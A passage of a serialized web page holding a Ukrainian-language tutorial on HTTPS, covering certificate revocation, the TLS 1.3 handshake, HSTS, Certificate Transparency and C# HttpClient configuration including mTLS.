відкликається:",[3686,9649,9650,9656,9662],{},[3689,9651,9652,9655],{},[3321,9653,9654],{},"CRL"," (Certificate Revocation List) — список відкликаних серійних номерів (великий файл, рідко оновлюється)",[3689,9657,9658,9661],{},[3321,9659,9660],{},"OCSP"," (Online Certificate Status Protocol) — запит статусу конкретного сертифікату в реальному часі",[3689,9663,9664,9667],{},[3321,9665,9666],{},"OCSP Stapling"," — сервер заздалегідь отримує OCSP відповідь і вкладає її у TLS Handshake (клієнту не потрібно робити окремий запит)",[3654,9669,9671],{"id":9670},"tls-13-handshake-крок-за-кроком","TLS 1.3 Handshake крок за кроком",[3420,9673,9674],{},[3423,9675,9677],{"className":3425,"code":9676,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nparticipant \"Клієнт\\n(браузер)\" as client #e3f2fd\nparticipant \"Сервер\" as server #e8f5e9\n\n== RTT 1: ClientHello + KeyShare ==\n\nclient -> server : **ClientHello**\\n• Версії TLS: [1.3, 1.2]\\n• Cipher Suites: [AES-256-GCM-SHA384, ChaCha20-Poly1305-SHA256]\\n• Key Share: ephemeral публічний ключ (ECDH)\\n• Server Name (SNI): api.example.com\\n• Session ticket (для 0-RTT відновлення)\n\nserver -> client : **ServerHello**\\n• Вибрана версія: TLS 1.3\\n• Вибраний шифр: AES-256-GCM-SHA384\\n• Key Share: ephemeral публічний ключ\n\nnote over client, server\n  ECDHE: обидві сторони обчислюють\n  спільний секрет:\n  shared = ECDH(client_priv, server_pub)\n         = ECDH(server_priv, client_pub)\n  Усе подальше — зашифровано!\n  Perfect Forward Secrecy гарантовано.\nend note\n\nserver -> client : **{EncryptedExtensions}** [зашифровано]\nserver -> client : **{Certificate}** — X.509 + ланцюжок + OCSP staple\nserver -> client : **{CertificateVerify}** — підпис приватним ключем\nserver -> client : **{Finished}** — MAC всього handshake\n\nclient -> client : Перевірка сертифікату:\\n1. Підпис Intermediate CA\\n2. Intermediate ← Root CA (довірений)\\n3. SAN містить api.example.com\\n4. Дата дії\\n5. OCSP: не відкликаний\n\nclient -> server : **{Finished}** — підтвердження\n\n== RTT 2: HTTP Запит (починається одразу після Finished) ==\nclient -> server : **{GET \u002Fapi\u002Fdata HTTP\u002F1.1}** [зашифровано]\n\n@enduml\n",[3430,9678,9679,9683,9687,9691,9695,9700,9704,9708,9713,9717,9722,9726,9731,9735,9740,9745,9750,9755,9760,9765,9770,9774,9778,9783,9788,9793,9798,9802,9807,9811,9816,9820,9825,9830,9834],{"__ignoreMap":3428},[3433,9680,9681],{"class":3435,"line":3436},[3433,9682,3439],{},[3433,9684,9685],{"class":3435,"line":3442},[3433,9686,3445],{},[3433,9688,9689],{"class":3435,"line":3448},[3433,9690,3451],{},[3433,9692,9693],{"class":3435,"line":3454},[3433,9694,3458],{"emptyLinePlaceholder":3457},[3433,9696,9697],{"class":3435,"line":3461},[3433,9698,9699],{},"participant \"Клієнт\\n(браузер)\" as client #e3f2fd\n",[3433,9701,9702],{"class":3435,"line":3467},[3433,9703,3476],{},[3433,9705,9706],{"class":3435,"line":3473},[3433,9707,3458],{"emptyLinePlaceholder":3457},[3433,9709,9710],{"class":3435,"line":3479},[3433,9711,9712],{},"== RTT 1: ClientHello + KeyShare ==\n",[3433,9714,9715],{"class":3435,"line":3484},[3433,9716,3458],{"emptyLinePlaceholder":3457},[3433,9718,9719],{"class":3435,"line":3490},[3433,9720,9721],{},"client -> server : **ClientHello**\\n• Версії TLS: [1.3, 1.2]\\n• Cipher Suites: [AES-256-GCM-SHA384, ChaCha20-Poly1305-SHA256]\\n• Key Share: ephemeral публічний ключ (ECDH)\\n• Server Name (SNI): api.example.com\\n• Session ticket (для 0-RTT відновлення)\n",[3433,9723,9724],{"class":3435,"line":3496},[3433,9725,3458],{"emptyLinePlaceholder":3457},[3433,9727,9728],{"class":3435,"line":3502},[3433,9729,9730],{},"server -> client : **ServerHello**\\n• Вибрана версія: TLS 1.3\\n• Вибраний шифр: AES-256-GCM-SHA384\\n• Key Share: ephemeral публічний ключ\n",[3433,9732,9733],{"class":3435,"line":3508},[3433,9734,3458],{"emptyLinePlaceholder":3457},[3433,9736,9737],{"class":3435,"line":3513},[3433,9738,9739],{},"note over client, server\n",[3433,9741,9742],{"class":3435,"line":3519},[3433,9743,9744],{},"  ECDHE: обидві сторони обчислюють\n",[3433,9746,9747],{"class":3435,"line":3525},[3433,9748,9749],{},"  спільний секрет:\n",[3433,9751,9752],{"class":3435,"line":3531},[3433,9753,9754],{},"  shared = ECDH(client_priv, server_pub)\n",[3433,9756,9757],{"class":3435,"line":3537},[3433,9758,9759],{},"         = ECDH(server_priv, client_pub)\n",[3433,9761,9762],{"class":3435,"line":3542},[3433,9763,9764],{},"  Усе подальше — зашифровано!\n",[3433,9766,9767],{"class":3435,"line":3548},[3433,9768,9769],{},"  Perfect Forward Secrecy гарантовано.\n",[3433,9771,9772],{"class":3435,"line":3554},[3433,9773,3534],{},[3433,9775,9776],{"class":3435,"line":3560},[3433,9777,3458],{"emptyLinePlaceholder":3457},[3433,9779,9780],{"class":3435,"line":3565},[3433,9781,9782],{},"server -> client : **{EncryptedExtensions}** [зашифровано]\n",[3433,9784,9785],{"class":3435,"line":3570},[3433,9786,9787],{},"server -> client : **{Certificate}** — X.509 + ланцюжок + OCSP staple\n",[3433,9789,9790],{"class":3435,"line":3576},[3433,9791,9792],{},"server -> client : **{CertificateVerify}** — підпис приватним ключем\n",[3433,9794,9795],{"class":3435,"line":3582},[3433,9796,9797],{},"server -> client : **{Finished}** — MAC всього handshake\n",[3433,9799,9800],{"class":3435,"line":3587},[3433,9801,3458],{"emptyLinePlaceholder":3457},[3433,9803,9804],{"class":3435,"line":3592},[3433,9805,9806],{},"client -> client : Перевірка сертифікату:\\n1. Підпис Intermediate CA\\n2. Intermediate ← Root CA (довірений)\\n3. SAN містить api.example.com\\n4. Дата дії\\n5. OCSP: не відкликаний\n",[3433,9808,9809],{"class":3435,"line":3598},[3433,9810,3458],{"emptyLinePlaceholder":3457},[3433,9812,9813],{"class":3435,"line":3604},[3433,9814,9815],{},"client -> server : **{Finished}** — підтвердження\n",[3433,9817,9818],{"class":3435,"line":3610},[3433,9819,3458],{"emptyLinePlaceholder":3457},[3433,9821,9822],{"class":3435,"line":3615},[3433,9823,9824],{},"== RTT 2: HTTP Запит (починається одразу після Finished) ==\n",[3433,9826,9827],{"class":3435,"line":3620},[3433,9828,9829],{},"client -> server : **{GET \u002Fapi\u002Fdata HTTP\u002F1.1}** [зашифровано]\n",[3433,9831,9832],{"class":3435,"line":3626},[3433,9833,3458],{"emptyLinePlaceholder":3457},[3433,9835,9836],{"class":3435,"line":3632},[3433,9837,3645],{},[3654,9839,9841],{"id":9840},"tls-13-vs-tls-12-ключові-відмінності","TLS 1.3 vs TLS 1.2: ключові відмінності",[3346,9843,9844,9857],{},[3349,9845,9846],{},[3352,9847,9848,9851,9854],{},[3355,9849,9850],{},"Аспект",[3355,9852,9853],{},"TLS 1.2",[3355,9855,9856],{},"TLS 1.3",[3368,9858,9859,9872,9885,9898,9911,9924],{},[3352,9860,9861,9866,9869],{},[3373,9862,9863],{},[3321,9864,9865],{},"RTT для handshake",[3373,9867,9868],{},"2 RTT",[3373,9870,9871],{},"1 RTT",[3352,9873,9874,9879,9882],{},[3373,9875,9876],{},[3321,9877,9878],{},"0-RTT відновлення",[3373,9880,9881],{},"Немає",[3373,9883,9884],{},"Є (ризик replay)",[3352,9886,9887,9892,9895],{},[3373,9888,9889],{},[3321,9890,9891],{},"Cipher suites",[3373,9893,9894],{},"Багато (включно із слабкими)",[3373,9896,9897],{},"5 сильних, тільки AEAD",[3352,9899,9900,9905,9908],{},[3373,9901,9902],{},[3321,9903,9904],{},"Forward Secrecy",[3373,9906,9907],{},"Опційна (DHE\u002FECDHE)",[3373,9909,9910],{},"Обов'язкова (завжди ECDHE)",[3352,9912,9913,9918,9921],{},[3373,9914,9915],{},[3321,9916,9917],{},"RSA key exchange",[3373,9919,9920],{},"Підтримується",[3373,9922,9923],{},"Видалено",[3352,9925,9926,9931,9934],{},[3373,9927,9928],{},[3321,9929,9930],{},"Шифрування handshake",[3373,9932,9933],{},"Certificate в відкритому вигляді",[3373,9935,9936],{},"Certificate зашифровано",[3654,9938,9940],{"id":9939},"hsts-http-strict-transport-security","HSTS: HTTP Strict Transport Security",[3317,9942,9943,9944,9947,9948,3670],{},"HSTS (RFC 6797) — заголовок відповіді, що наказує браузеру ",[3321,9945,9946],{},"завжди"," використовувати HTTPS для цього домену протягом зазначеного часу, навіть якщо користувач вводить ",[3430,9949,4707],{},[3423,9951,9953],{"className":3911,"code":9952,"language":3913,"meta":3428,"style":3428},"Strict-Transport-Security: max-age=31536000; includeSubDomains; preload\n",[3430,9954,9955],{"__ignoreMap":3428},[3433,9956,9957,9960,9962],{"class":3435,"line":3436},[3433,9958,9959],{"class":3920},"Strict-Transport-Security",[3433,9961,3908],{"class":3923},[3433,9963,9964],{"class":3926}," max-age=31536000; includeSubDomains; preload\n",[3346,9966,9967,9977],{},[3349,9968,9969],{},[3352,9970,9971,9974],{},[3355,9972,9973],{},"Директива",[3355,9975,9976],{},"Значення",[3368,9978,9979,9989,9999],{},[3352,9980,9981,9986],{},[3373,9982,9983],{},[3430,9984,9985],{},"max-age=N",[3373,9987,9988],{},"Кешувати N секунд (рекомендовано ≥ 1 рік = 31536000)",[3352,9990,9991,9996],{},[3373,9992,9993],{},[3430,9994,9995],{},"includeSubDomains",[3373,9997,9998],{},"Застосовувати до всіх піддоменів",[3352,10000,10001,10006],{},[3373,10002,10003],{},[3430,10004,10005],{},"preload",[3373,10007,10008],{},"Дозволити внесення у HSTS Preload List",[3317,10010,10011,10014,10015,10018,10019,3670],{},[3321,10012,10013],{},"HSTS Preload List"," — список доменів, вбудований у Chrome, Firefox, Safari. Браузер знає про HTTPS ",[3321,10016,10017],{},"до першого з'єднання",", унеможливлюючи SSLstrip-атаки. Для внесення — ",[3430,10020,10021],{},"hstspreload.org",[3420,10023,10024],{},[3423,10025,10027],{"className":3425,"code":10026,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nactor \"Користувач\" as user\nparticipant \"Браузер\\n(з HSTS кешем)\" as browser #e3f2fd\nparticipant \"Сервер\" as server #e8f5e9\n\n== Перший візит ==\nuser -> browser : http:\u002F\u002Fbank.com\u002F\nbrowser -> server : GET http:\u002F\u002Fbank.com\u002F (HTTP)\nserver --> browser : 301 Moved Permanently\\nLocation: https:\u002F\u002Fbank.com\u002F\\n---\\nhttps:\u002F\u002Fbank.com\u002F → 200 OK\\nStrict-Transport-Security: max-age=31536000\n\nbrowser -> browser : Зберегти HSTS:\\nbank.com → HTTPS only\\nдо 2027-01-01\n\n== Наступні візити (протягом року) ==\nuser -> browser : http:\u002F\u002Fbank.com\u002F\nbrowser -> browser : HSTS hit!\\nАвтоматично → https:\u002F\u002Fbank.com\u002F\nbrowser -> server : GET **https**:\u002F\u002Fbank.com\u002F (без HTTP!)\n\nnote right of server\n  Зловмисник між клієнтом\n  і сервером не може\n  \"зловити\" перший HTTP-запит —\n  браузер одразу йде по HTTPS\nend note\n\n@enduml\n",[3430,10028,10029,10033,10037,10041,10045,10049,10054,10058,10062,10067,10072,10077,10082,10086,10091,10095,10100,10104,10109,10114,10118,10122,10127,10132,10137,10142,10146,10150],{"__ignoreMap":3428},[3433,10030,10031],{"class":3435,"line":3436},[3433,10032,3439],{},[3433,10034,10035],{"class":3435,"line":3442},[3433,10036,3445],{},[3433,10038,10039],{"class":3435,"line":3448},[3433,10040,3451],{},[3433,10042,10043],{"class":3435,"line":3454},[3433,10044,3458],{"emptyLinePlaceholder":3457},[3433,10046,10047],{"class":3435,"line":3461},[3433,10048,3464],{},[3433,10050,10051],{"class":3435,"line":3467},[3433,10052,10053],{},"participant \"Браузер\\n(з HSTS кешем)\" as browser #e3f2fd\n",[3433,10055,10056],{"class":3435,"line":3473},[3433,10057,3476],{},[3433,10059,10060],{"class":3435,"line":3479},[3433,10061,3458],{"emptyLinePlaceholder":3457},[3433,10063,10064],{"class":3435,"line":3484},[3433,10065,10066],{},"== Перший візит ==\n",[3433,10068,10069],{"class":3435,"line":3490},[3433,10070,10071],{},"user -> browser : http:\u002F\u002Fbank.com\u002F\n",[3433,10073,10074],{"class":3435,"line":3496},[3433,10075,10076],{},"browser -> server : GET http:\u002F\u002Fbank.com\u002F (HTTP)\n",[3433,10078,10079],{"class":3435,"line":3502},[3433,10080,10081],{},"server --> browser : 301 Moved Permanently\\nLocation: https:\u002F\u002Fbank.com\u002F\\n---\\nhttps:\u002F\u002Fbank.com\u002F → 200 OK\\nStrict-Transport-Security: max-age=31536000\n",[3433,10083,10084],{"class":3435,"line":3508},[3433,10085,3458],{"emptyLinePlaceholder":3457},[3433,10087,10088],{"class":3435,"line":3513},[3433,10089,10090],{},"browser -> browser : Зберегти HSTS:\\nbank.com → HTTPS only\\nдо 2027-01-01\n",[3433,10092,10093],{"class":3435,"line":3519},[3433,10094,3458],{"emptyLinePlaceholder":3457},[3433,10096,10097],{"class":3435,"line":3525},[3433,10098,10099],{},"== Наступні візити (протягом року) ==\n",[3433,10101,10102],{"class":3435,"line":3531},[3433,10103,10071],{},[3433,10105,10106],{"class":3435,"line":3537},[3433,10107,10108],{},"browser -> browser : HSTS hit!\\nАвтоматично → https:\u002F\u002Fbank.com\u002F\n",[3433,10110,10111],{"class":3435,"line":3542},[3433,10112,10113],{},"browser -> server : GET **https**:\u002F\u002Fbank.com\u002F (без HTTP!)\n",[3433,10115,10116],{"class":3435,"line":3548},[3433,10117,3458],{"emptyLinePlaceholder":3457},[3433,10119,10120],{"class":3435,"line":3554},[3433,10121,3516],{},[3433,10123,10124],{"class":3435,"line":3560},[3433,10125,10126],{},"  Зловмисник між клієнтом\n",[3433,10128,10129],{"class":3435,"line":3565},[3433,10130,10131],{},"  і сервером не може\n",[3433,10133,10134],{"class":3435,"line":3570},[3433,10135,10136],{},"  \"зловити\" перший HTTP-запит —\n",[3433,10138,10139],{"class":3435,"line":3576},[3433,10140,10141],{},"  браузер одразу йде по HTTPS\n",[3433,10143,10144],{"class":3435,"line":3582},[3433,10145,3534],{},[3433,10147,10148],{"class":3435,"line":3587},[3433,10149,3458],{"emptyLinePlaceholder":3457},[3433,10151,10152],{"class":3435,"line":3592},[3433,10153,3645],{},[3654,10155,10157],{"id":10156},"certificate-transparency","Certificate Transparency",[3317,10159,10160,10161,10164],{},"CT (RFC 6962) — публічний реєстр всіх виданих TLS-сертифікатів. Кожен CA зобов'язаний записувати видані сертифікати у публічні ",[3321,10162,10163],{},"CT Logs"," (Merkle tree). Браузери перевіряють наявність SCT (Signed Certificate Timestamp) у сертифікаті.",[3317,10166,10167,10170,10171,10174],{},[3321,10168,10169],{},"Навіщо:"," якщо CA випустив підроблений сертифікат для ",[3430,10172,10173],{},"google.com",", це буде публічно видно у CT Logs протягом хвилин. Без CT — підроблений сертифікат міг би існувати роками без виявлення.",[3654,10176,10178],{"id":10177},"https-у-net-налаштування-httpclient","HTTPS у .NET: налаштування HttpClient",[3423,10180,10182],{"className":4731,"code":10181,"language":4733,"meta":4734,"style":3428},"using System.Net;\nusing System.Net.Http;\nusing System.Net.Security;\nusing System.Security.Cryptography.X509Certificates;\n\n\u002F\u002F ── Стандартне HTTPS — без додаткового налаштування ──────────────────────────\n\u002F\u002F HttpClient автоматично перевіряє сертифікат та використовує TLS 1.2\u002F1.3\nusing var defaultClient = new HttpClient();\nvar response = await defaultClient.GetAsync(\"https:\u002F\u002Fhttpbingo.org\u002Fget\");\n\n\u002F\u002F ── Явно вказати дозволені версії TLS ────────────────────────────────────────\nvar tlsHandler = new HttpClientHandler();\ntlsHandler.SslProtocols = System.Security.Authentication.SslProtocols.Tls12\n                        | System.Security.Authentication.SslProtocols.Tls13;\nusing var tlsClient = new HttpClient(tlsHandler);\n\n\u002F\u002F ── Кастомна перевірка сертифікату ───────────────────────────────────────────\n\u002F\u002F ⚠ ТІЛЬКИ ДЛЯ РОЗРОБКИ — ніколи не відключайте перевірку у production!\nvar devHandler = new HttpClientHandler\n{\n    ServerCertificateCustomValidationCallback = (message, cert, chain, errors) =>\n    {\n        if (errors == SslPolicyErrors.None) return true;\n        \u002F\u002F Приймаємо self-signed тільки для localhost\n        return message.RequestUri?.Host is \"localhost\" or \"127.0.0.1\";\n    }\n};\nusing var devClient = new HttpClient(devHandler);\n\n\u002F\u002F ── Клієнтський сертифікат (mTLS — двостороння автентифікація) ────────────────\nvar mtlsHandler = new HttpClientHandler();\nvar clientCert = X509Certificate2.CreateFromPemFile(\"client.crt\", \"client.key\");\nmtlsHandler.ClientCertificates.Add(clientCert);\nusing var mtlsClient = new HttpClient(mtlsHandler);\n\n\u002F\u002F ── Отримати інформацію про сертифікат сервера ─────────────────────────────────\nvar infoHandler = new HttpClientHandler\n{\n    ServerCertificateCustomValidationCallback = (message, cert, chain, errors) =>\n    {\n        if (cert is not null)\n        {\n            Console.WriteLine($\"Subject:  {cert.Subject}\");\n            Console.WriteLine($\"Issuer:   {cert.Issuer}\");\n            Console.WriteLine($\"Valid to: {cert.GetExpirationDateString()}\");\n            Console.WriteLine($\"Thumbprint: {cert.GetCertHashString()}\");\n        }\n        return errors == SslPolicyErrors.None;\n    }\n};\nusing var infoClient = new HttpClient(infoHandler);\nawait infoClient.GetAsync(\"https:\u002F\u002Fhttpbingo.org\u002F\");\n",[3430,10183,10184,10196,10212,10229,10251,10255,10260,10265,10282,10305,10309,10314,10329,10362,10388,10409,10413,10418,10423,10436,10440,10469,10473,10501,10506,10537,10541,10545,10567,10571,10576,10591,10620,10641,10662,10666,10671,10684,10688,10710,10714,10730,10734,10762,10790,10819,10847,10852,10870,10875,10880,10903],{"__ignoreMap":3428},[3433,10185,10186,10188,10190,10192,10194],{"class":3435,"line":3436},[3433,10187,4742],{"class":4741},[3433,10189,4746],{"class":4745},[3433,10191,3670],{"class":4749},[3433,10193,4752],{"class":4745},[3433,10195,4755],{"class":4749},[3433,10197,10198,10200,10202,10204,10206,10208,10210],{"class":3435,"line":3442},[3433,10199,4742],{"class":4741},[3433,10201,4746],{"class":4745},[3433,10203,3670],{"class":4749},[3433,10205,4752],{"class":4745},[3433,10207,3670],{"class":4749},[3433,10209,4770],{"class":4745},[3433,10211,4755],{"class":4749},[3433,10213,10214,10216,10218,10220,10222,10224,10227],{"class":3435,"line":3448},[3433,10215,4742],{"class":4741},[3433,10217,4746],{"class":4745},[3433,10219,3670],{"class":4749},[3433,10221,4752],{"class":4745},[3433,10223,3670],{"class":4749},[3433,10225,10226],{"class":4745},"Security",[3433,10228,4755],{"class":4749},[3433,10230,10231,10233,10235,10237,10239,10241,10244,10246,10249],{"class":3435,"line":3454},[3433,10232,4742],{"class":4741},[3433,10234,4746],{"class":4745},[3433,10236,3670],{"class":4749},[3433,10238,10226],{"class":4745},[3433,10240,3670],{"class":4749},[3433,10242,10243],{"class":4745},"Cryptography",[3433,10245,3670],{"class":4749},[3433,10247,10248],{"class":4745},"X509Certificates",[3433,10250,4755],{"class":4749},[3433,10252,10253],{"class":3435,"line":3461},[3433,10254,3458],{"emptyLinePlaceholder":3457},[3433,10256,10257],{"class":3435,"line":3467},[3433,10258,10259],{"class":4802},"\u002F\u002F ── Стандартне HTTPS — без додаткового налаштування ──────────────────────────\n",[3433,10261,10262],{"class":3435,"line":3473},[3433,10263,10264],{"class":4802},"\u002F\u002F HttpClient автоматично перевіряє сертифікат та використовує TLS 1.2\u002F1.3\n",[3433,10266,10267,10269,10271,10274,10276,10278,10280],{"class":3435,"line":3479},[3433,10268,4742],{"class":4741},[3433,10270,4882],{"class":3923},[3433,10272,10273],{"class":4811}," defaultClient",[3433,10275,4815],{"class":4749},[3433,10277,4818],{"class":3923},[3433,10279,4892],{"class":4745},[3433,10281,4824],{"class":4749},[3433,10283,10284,10286,10288,10290,10292,10294,10296,10298,10300,10303],{"class":3435,"line":3484},[3433,10285,4808],{"class":3923},[3433,10287,6971],{"class":4811},[3433,10289,4815],{"class":4749},[3433,10291,4960],{"class":3923},[3433,10293,10273],{"class":4811},[3433,10295,3670],{"class":4749},[3433,10297,4968],{"class":4967},[3433,10299,4895],{"class":4749},[3433,10301,10302],{"class":3926},"\"https:\u002F\u002Fhttpbingo.org\u002Fget\"",[3433,10304,4976],{"class":4749},[3433,10306,10307],{"class":3435,"line":3490},[3433,10308,3458],{"emptyLinePlaceholder":3457},[3433,10310,10311],{"class":3435,"line":3496},[3433,10312,10313],{"class":4802},"\u002F\u002F ── Явно вказати дозволені версії TLS ────────────────────────────────────────\n",[3433,10315,10316,10318,10321,10323,10325,10327],{"class":3435,"line":3502},[3433,10317,4808],{"class":3923},[3433,10319,10320],{"class":4811}," tlsHandler",[3433,10322,4815],{"class":4749},[3433,10324,4818],{"class":3923},[3433,10326,5334],{"class":4745},[3433,10328,4824],{"class":4749},[3433,10330,10331,10334,10336,10339,10341,10344,10346,10348,10350,10353,10355,10357,10359],{"class":3435,"line":3508},[3433,10332,10333],{"class":4811},"tlsHandler",[3433,10335,3670],{"class":4749},[3433,10337,10338],{"class":4811},"SslProtocols",[3433,10340,4815],{"class":4749},[3433,10342,10343],{"class":4811},"System",[3433,10345,3670],{"class":4749},[3433,10347,10226],{"class":4811},[3433,10349,3670],{"class":4749},[3433,10351,10352],{"class":4811},"Authentication",[3433,10354,3670],{"class":4749},[3433,10356,10338],{"class":4811},[3433,10358,3670],{"class":4749},[3433,10360,10361],{"class":4811},"Tls12\n",[3433,10363,10364,10367,10369,10371,10373,10375,10377,10379,10381,10383,10386],{"class":3435,"line":3513},[3433,10365,10366],{"class":4749},"                        | ",[3433,10368,10343],{"class":4811},[3433,10370,3670],{"class":4749},[3433,10372,10226],{"class":4811},[3433,10374,3670],{"class":4749},[3433,10376,10352],{"class":4811},[3433,10378,3670],{"class":4749},[3433,10380,10338],{"class":4811},[3433,10382,3670],{"class":4749},[3433,10384,10385],{"class":4811},"Tls13",[3433,10387,4755],{"class":4749},[3433,10389,10390,10392,10394,10397,10399,10401,10403,10405,10407],{"class":3435,"line":3519},[3433,10391,4742],{"class":4741},[3433,10393,4882],{"class":3923},[3433,10395,10396],{"class":4811}," tlsClient",[3433,10398,4815],{"class":4749},[3433,10400,4818],{"class":3923},[3433,10402,4892],{"class":4745},[3433,10404,4895],{"class":4749},[3433,10406,10333],{"class":4811},[3433,10408,4976],{"class":4749},[3433,10410,10411],{"class":3435,"line":3525},[3433,10412,3458],{"emptyLinePlaceholder":3457},[3433,10414,10415],{"class":3435,"line":3531},[3433,10416,10417],{"class":4802},"\u002F\u002F ── Кастомна перевірка сертифікату ───────────────────────────────────────────\n",[3433,10419,10420],{"class":3435,"line":3537},[3433,10421,10422],{"class":4802},"\u002F\u002F ⚠ ТІЛЬКИ ДЛЯ РОЗРОБКИ — ніколи не відключайте перевірку у production!\n",[3433,10424,10425,10427,10430,10432,10434],{"class":3435,"line":3542},[3433,10426,4808],{"class":3923},[3433,10428,10429],{"class":4811}," devHandler",[3433,10431,4815],{"class":4749},[3433,10433,4818],{"class":3923},[3433,10435,4838],{"class":4745},[3433,10437,10438],{"class":3435,"line":3548},[3433,10439,4843],{"class":4749},[3433,10441,10442,10445,10448,10451,10453,10456,10458,10461,10463,10466],{"class":3435,"line":3554},[3433,10443,10444],{"class":4811},"    ServerCertificateCustomValidationCallback",[3433,10446,10447],{"class":4749}," = (",[3433,10449,10450],{"class":4811},"message",[3433,10452,4263],{"class":4749},[3433,10454,10455],{"class":4811},"cert",[3433,10457,4263],{"class":4749},[3433,10459,10460],{"class":4811},"chain",[3433,10462,4263],{"class":4749},[3433,10464,10465],{"class":4811},"errors",[3433,10467,10468],{"class":4749},") =>\n",[3433,10470,10471],{"class":3435,"line":3560},[3433,10472,5565],{"class":4749},[3433,10474,10475,10477,10479,10481,10483,10486,10488,10490,10493,10496,10499],{"class":3435,"line":3565},[3433,10476,5622],{"class":4741},[3433,10478,4638],{"class":4749},[3433,10480,10465],{"class":4811},[3433,10482,5967],{"class":4749},[3433,10484,10485],{"class":4811},"SslPolicyErrors",[3433,10487,3670],{"class":4749},[3433,10489,4228],{"class":4811},[3433,10491,10492],{"class":4749},") ",[3433,10494,10495],{"class":4741},"return",[3433,10497,10498],{"class":3923}," true",[3433,10500,4755],{"class":4749},[3433,10502,10503],{"class":3435,"line":3570},[3433,10504,10505],{"class":4802},"        \u002F\u002F Приймаємо self-signed тільки для localhost\n",[3433,10507,10508,10511,10514,10516,10519,10521,10524,10526,10529,10532,10535],{"class":3435,"line":3576},[3433,10509,10510],{"class":4741},"        return",[3433,10512,10513],{"class":4811}," message",[3433,10515,3670],{"class":4749},[3433,10517,10518],{"class":4811},"RequestUri",[3433,10520,8009],{"class":4749},[3433,10522,10523],{"class":4811},"Host",[3433,10525,5771],{"class":3923},[3433,10527,10528],{"class":3926}," \"localhost\"",[3433,10530,10531],{"class":3923}," or",[3433,10533,10534],{"class":3926}," \"127.0.0.1\"",[3433,10536,4755],{"class":4749},[3433,10538,10539],{"class":3435,"line":3582},[3433,10540,5720],{"class":4749},[3433,10542,10543],{"class":3435,"line":3587},[3433,10544,4871],{"class":4749},[3433,10546,10547,10549,10551,10554,10556,10558,10560,10562,10565],{"class":3435,"line":3592},[3433,10548,4742],{"class":4741},[3433,10550,4882],{"class":3923},[3433,10552,10553],{"class":4811}," devClient",[3433,10555,4815],{"class":4749},[3433,10557,4818],{"class":3923},[3433,10559,4892],{"class":4745},[3433,10561,4895],{"class":4749},[3433,10563,10564],{"class":4811},"devHandler",[3433,10566,4976],{"class":4749},[3433,10568,10569],{"class":3435,"line":3598},[3433,10570,3458],{"emptyLinePlaceholder":3457},[3433,10572,10573],{"class":3435,"line":3604},[3433,10574,10575],{"class":4802},"\u002F\u002F ── Клієнтський сертифікат (mTLS — двостороння автентифікація) ────────────────\n",[3433,10577,10578,10580,10583,10585,10587,10589],{"class":3435,"line":3610},[3433,10579,4808],{"class":3923},[3433,10581,10582],{"class":4811}," mtlsHandler",[3433,10584,4815],{"class":4749},[3433,10586,4818],{"class":3923},[3433,10588,5334],{"class":4745},[3433,10590,4824],{"class":4749},[3433,10592,10593,10595,10598,10600,10603,10605,10608,10610,10613,10615,10618],{"class":3435,"line":3615},[3433,10594,4808],{"class":3923},[3433,10596,10597],{"class":4811}," clientCert",[3433,10599,4815],{"class":4749},[3433,10601,10602],{"class":4811},"X509Certificate2",[3433,10604,3670],{"class":4749},[3433,10606,10607],{"class":4967},"CreateFromPemFile",[3433,10609,4895],{"class":4749},[3433,10611,10612],{"class":3926},"\"client.crt\"",[3433,10614,4263],{"class":4749},[3433,10616,10617],{"class":3926},"\"client.key\"",[3433,10619,4976],{"class":4749},[3433,10621,10622,10625,10627,10630,10632,10634,10636,10639],{"class":3435,"line":3620},[3433,10623,10624],{"class":4811},"mtlsHandler",[3433,10626,3670],{"class":4749},[3433,10628,10629],{"class":4811},"ClientCertificates",[3433,10631,3670],{"class":4749},[3433,10633,5793],{"class":4967},[3433,10635,4895],{"class":4749},[3433,10637,10638],{"class":4811},"clientCert",[3433,10640,4976],{"class":4749},[3433,10642,10643,10645,10647,10650,10652,10654,10656,10658,10660],{"class":3435,"line":3626},[3433,10644,4742],{"class":4741},[3433,10646,4882],{"class":3923},[3433,10648,10649],{"class":4811}," mtlsClient",[3433,10651,4815],{"class":4749},[3433,10653,4818],{"class":3923},[3433,10655,4892],{"class":4745},[3433,10657,4895],{"class":4749},[3433,10659,10624],{"class":4811},[3433,10661,4976],{"class":4749},[3433,10663,10664],{"class":3435,"line":3632},[3433,10665,3458],{"emptyLinePlaceholder":3457},[3433,10667,10668],{"class":3435,"line":3637},[3433,10669,10670],{"class":4802},"\u002F\u002F ── Отримати інформацію про сертифікат сервера ─────────────────────────────────\n",[3433,10672,10673,10675,10678,10680,10682],{"class":3435,"line":3642},[3433,10674,4808],{"class":3923},[3433,10676,10677],{"class":4811}," infoHandler",[3433,10679,4815],{"class":4749},[3433,10681,4818],{"class":3923},[3433,10683,4838],{"class":4745},[3433,10685,10686],{"class":3435,"line":3895},[3433,10687,4843],{"class":4749},[3433,10689,10690,10692,10694,10696,10698,10700,10702,10704,10706,10708],{"class":3435,"line":3900},[3433,10691,10444],{"class":4811},[3433,10693,10447],{"class":4749},[3433,10695,10450],{"class":4811},[3433,10697,4263],{"class":4749},[3433,10699,10455],{"class":4811},[3433,10701,4263],{"class":4749},[3433,10703,10460],{"class":4811},[3433,10705,4263],{"class":4749},[3433,10707,10465],{"class":4811},[3433,10709,10468],{"class":4749},[3433,10711,10712],{"class":3435,"line":5248},[3433,10713,5565],{"class":4749},[3433,10715,10716,10718,10720,10722,10724,10726,10728],{"class":3435,"line":5273},[3433,10717,5622],{"class":4741},[3433,10719,4638],{"class":4749},[3433,10721,10455],{"class":4811},[3433,10723,5771],{"class":3923},[3433,10725,5774],{"class":3923},[3433,10727,5777],{"class":3923},[3433,10729,4901],{"class":4749},[3433,10731,10732],{"class":3435,"line":6516},[3433,10733,5654],{"class":4749},[3433,10735,10736,10738,10740,10742,10744,10747,10749,10751,10753,10756,10758,10760],{"class":3435,"line":6522},[3433,10737,5681],{"class":4811},[3433,10739,3670],{"class":4749},[3433,10741,5080],{"class":4967},[3433,10743,4895],{"class":4749},[3433,10745,10746],{"class":3926},"$\"Subject:  